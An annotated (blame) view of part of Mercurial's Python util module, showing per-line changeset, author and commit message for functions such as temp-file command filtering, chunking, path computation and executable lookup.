Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
987 '''filter string S through a pair of temporary files with CMD. |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
988 CMD is used as a template to create the real command to be run, |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
989 with the strings INFILE and OUTFILE replaced by the real names of |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
990 the temporary files generated.''' |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
991 inname, outname = None, None |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
992 try: |
2165
d821918e3bee
Use better names (hg-{usage}-{random}.{suffix}) for temporary files.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
2153
diff
changeset
|
993 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-') |
30925
82f1ef8b4477
py3: convert the mode argument of os.fdopen to unicodes (2 of 2)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30876
diff
changeset
|
994 fp = os.fdopen(infd, pycompat.sysstr('wb')) |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
995 fp.write(s) |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
996 fp.close() |
2165
d821918e3bee
Use better names (hg-{usage}-{random}.{suffix}) for temporary files.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
2153
diff
changeset
|
997 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-') |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
998 os.close(outfd) |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
999 cmd = cmd.replace('INFILE', inname) |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1000 cmd = cmd.replace('OUTFILE', outname) |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1001 code = os.system(cmd) |
30642
e995f00a9e9a
py3: replace sys.platform with pycompat.sysplatform (part 2 of 2)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30639
diff
changeset
|
1002 if pycompat.sysplatform == 'OpenVMS' and code & 1: |
4720
72fb6f10fac1
OpenVMS patches
Jean-Francois PIERONNE <jf.pieronne@laposte.net>
parents:
4708
diff
changeset
|
1003 code = 0 |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1004 if code: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1005 raise Abort(_("command '%s' failed: %s") % |
14234
600e64004eb5
rename explain_exit to explainexit
Adrian Buehlmann <adrian@cadifra.com>
parents:
14230
diff
changeset
|
1006 (cmd, explainexit(code))) |
27768
5ef99738a562
util: replace file I/O with readfile
Bryan O'Sullivan <bryano@fb.com>
parents:
27766
diff
changeset
|
1007 return readfile(outname) |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1008 finally: |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1009 try: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1010 if inname: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1011 os.unlink(inname) |
14004
97ed99d1f419
eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents:
13985
diff
changeset
|
1012 except OSError: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1013 pass |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1014 try: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1015 if outname: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1016 os.unlink(outname) |
14004
97ed99d1f419
eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents:
13985
diff
changeset
|
1017 except OSError: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1018 pass |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1019 |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1020 filtertable = { |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1021 'tempfile:': tempfilter, |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1022 'pipe:': pipefilter, |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1023 } |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1024 |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1025 def filter(s, cmd): |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1026 "filter a string through a command that transforms its input to its output" |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1027 for name, fn in filtertable.iteritems(): |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1028 if cmd.startswith(name): |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1029 return fn(s, cmd[len(name):].lstrip()) |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1030 return pipefilter(s, cmd) |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
1031 |
1015
22571b8d35d3
Add automatic binary file detection to diff and export
mpm@selenic.com
parents:
917
diff
changeset
|
1032 def binary(s): |
6507
9699864de219
Let util.binary check entire data for \0 (issue1066, issue1079)
Christian Ebert <blacktrash@gmx.net>
parents:
6501
diff
changeset
|
1033 """return true if a string is binary data""" |
8118
35f7fda52c92
util: return boolean result directly in util.binary
Martin Geisler <mg@lazybytes.net>
parents:
8011
diff
changeset
|
1034 return bool(s and '\0' in s) |
6762 | 1035 |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1036 def increasingchunks(source, min=1024, max=65536): |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1037 '''return no less than min bytes per chunk while data remains, |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1038 doubling min after each chunk until it reaches max''' |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1039 def log2(x): |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1040 if not x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1041 return 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1042 i = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1043 while x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1044 x >>= 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1045 i += 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1046 return i - 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1047 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1048 buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1049 blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1050 for chunk in source: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1051 buf.append(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1052 blen += len(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1053 if blen >= min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1054 if min < max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1055 min = min << 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1056 nmin = 1 << log2(blen) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1057 if nmin > min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1058 min = nmin |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1059 if min > max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1060 min = max |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1061 yield ''.join(buf) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1062 blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1063 buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1064 if buf: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1065 yield ''.join(buf) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1066 |
7947
a454eeb1b827
move util.Abort to error.py
Matt Mackall <mpm@selenic.com>
parents:
7913
diff
changeset
|
1067 Abort = error.Abort |
508 | 1068 |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1069 def always(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1070 return True |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1071 |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1072 def never(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1073 return False |
724
1c0c413cccdd
Get add and locate to use new repo and dirstate walk code.
Bryan O'Sullivan <bos@serpentine.com>
parents:
705
diff
changeset
|
1074 |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1075 def nogc(func): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1076 """disable garbage collector |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1077 |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1078 Python's garbage collector triggers a GC each time a certain number of |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1079 container objects (the number being defined by gc.get_threshold()) are |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1080 allocated even when marked not to be tracked by the collector. Tracking has |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1081 no effect on when GCs are triggered, only on what objects the GC looks |
23543
4dd8a6a1240d
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23495
diff
changeset
|
1082 into. As a workaround, disable GC while building complex (huge) |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1083 containers. |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1084 |
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1085 This garbage collector issue have been fixed in 2.7. But it still affect |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1086 CPython's performance. |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1087 """ |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1088 def wrapper(*args, **kwargs): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1089 gcenabled = gc.isenabled() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1090 gc.disable() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1091 try: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1092 return func(*args, **kwargs) |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1093 finally: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1094 if gcenabled: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1095 gc.enable() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1096 return wrapper |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1097 |
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1098 if pycompat.ispypy: |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1099 # PyPy runs slower with gc disabled |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1100 nogc = lambda x: x |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1101 |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1102 def pathto(root, n1, n2): |
886
509de8ab6f31
Fix walk path handling on Windows
Bryan O'Sullivan <bos@serpentine.com>
parents:
884
diff
changeset
|
1103 '''return the relative path from one place to another. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1104 root should use os.sep to separate directories |
3669
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1105 n1 should use os.sep to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1106 n2 should use "/" to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1107 returns an os.sep-separated path. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1108 |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1109 If n1 is a relative path, it's assumed it's |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1110 relative to root. |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1111 n2 should always be relative to root. |
3669
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1112 ''' |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1113 if not n1: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1114 return localpath(n2) |
4230
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1115 if os.path.isabs(n1): |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1116 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1117 return os.path.join(root, localpath(n2)) |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1118 n2 = '/'.join((pconvert(root), n2)) |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1119 a, b = splitpath(n1), n2.split('/') |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1120 a.reverse() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1121 b.reverse() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1122 while a and b and a[-1] == b[-1]: |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1123 a.pop() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1124 b.pop() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1125 b.reverse() |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1126 return pycompat.ossep.join((['..'] * len(a)) + b) or '.' |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1127 |
14228
116de1da2154
rename util.main_is_frozen to mainfrozen
Adrian Buehlmann <adrian@cadifra.com>
parents:
14167
diff
changeset
|
1128 def mainfrozen(): |
6499
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1129 """return True if we are a frozen executable. |
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1130 |
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1131 The code supports py2exe (most common, Windows only) and tools/freeze |
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1132 (portable, not much used). |
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1133 """ |
14968
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
1134 return (safehasattr(sys, "frozen") or # new py2exe |
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
1135 safehasattr(sys, "importers") or # old py2exe |
30039
ff7697b436ab
py3: use unicode in is_frozen()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30038
diff
changeset
|
1136 imp.is_frozen(u"__main__")) # tools/freeze |
6499
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1137 |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1138 # the location of data files matching the source code |
27764
dd0c5f4d1b53
util: adjust 'datapath' to be correct in a frozen OS X package
Matt Harbison <matt_harbison@yahoo.com>
parents:
27755
diff
changeset
|
1139 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app': |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1140 # executable version (py2exe) doesn't support __file__ |
30669
10b17ed9b591
py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30642
diff
changeset
|
1141 datapath = os.path.dirname(pycompat.sysexecutable) |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1142 else: |
31074
2912b06905dc
py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30988
diff
changeset
|
1143 datapath = os.path.dirname(pycompat.fsencode(__file__)) |
30301
8321b083a83d
py3: make util.datapath a bytes variable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30265
diff
changeset
|
1144 |
22638
0d0350cfc7ab
i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents:
22633
diff
changeset
|
1145 i18n.setdatapath(datapath) |
0d0350cfc7ab
i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents:
22633
diff
changeset
|
1146 |
22632
db15bb2d6323
util: move _hgexecutable a few lines, closer to where it is used
Mads Kiilerich <madski@unity3d.com>
parents:
22245
diff
changeset
|
1147 _hgexecutable = None |
db15bb2d6323
util: move _hgexecutable a few lines, closer to where it is used
Mads Kiilerich <madski@unity3d.com>
parents:
22245
diff
changeset
|
1148 |
5062
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1149 def hgexecutable(): |
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1150 """return location of the 'hg' executable. |
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1151 |
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1152 Defaults to $HG or 'hg' in the search path. |
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1153 """ |
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1154 if _hgexecutable is None: |
30637
344e68882cd3
py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30625
diff
changeset
|
1155 hg = encoding.environ.get('HG') |
31533
28f00d07e2ee
util: reference __main__ in sys.modules as a sysstr
Augie Fackler <augie@google.com>
parents:
31496
diff
changeset
|
1156 mainmod = sys.modules[pycompat.sysstr('__main__')] |
6500 | 1157 if hg: |
14229
85fd8402cbc4
rename util.set_hgexecutable to _sethgexecutable
Adrian Buehlmann <adrian@cadifra.com>
parents:
14228
diff
changeset
|
1158 _sethgexecutable(hg) |
14228
116de1da2154
rename util.main_is_frozen to mainfrozen
Adrian Buehlmann <adrian@cadifra.com>
parents:
14167
diff
changeset
|
1159 elif mainfrozen(): |
27765
f1fb93eebb1d
util: adjust hgexecutable() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents:
27764
diff
changeset
|
1160 if getattr(sys, 'frozen', None) == 'macosx_app': |
f1fb93eebb1d
util: adjust hgexecutable() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents:
27764
diff
changeset
|
1161 # Env variable set by py2app |
30637
344e68882cd3
py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30625
diff
changeset
|
1162 _sethgexecutable(encoding.environ['EXECUTABLEPATH']) |
27765
f1fb93eebb1d
util: adjust hgexecutable() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents:
27764
diff
changeset
|
1163 else: |
30669
10b17ed9b591
py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30642
diff
changeset
|
1164 _sethgexecutable(pycompat.sysexecutable) |
31074
2912b06905dc
py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30988
diff
changeset
|
1165 elif (os.path.basename( |
2912b06905dc
py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30988
diff
changeset
|
1166 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'): |
2912b06905dc
py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30988
diff
changeset
|
1167 _sethgexecutable(pycompat.fsencode(mainmod.__file__)) |
6499
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1168 else: |
14271
4030630fb59c
rename util.find_exe to findexe
Adrian Buehlmann <adrian@cadifra.com>
parents:
14262
diff
changeset
|
1169 exe = findexe('hg') or os.path.basename(sys.argv[0]) |
14229
85fd8402cbc4
rename util.set_hgexecutable to _sethgexecutable
Adrian Buehlmann <adrian@cadifra.com>
parents:
14228
diff
changeset
|
1170 _sethgexecutable(exe) |
5062
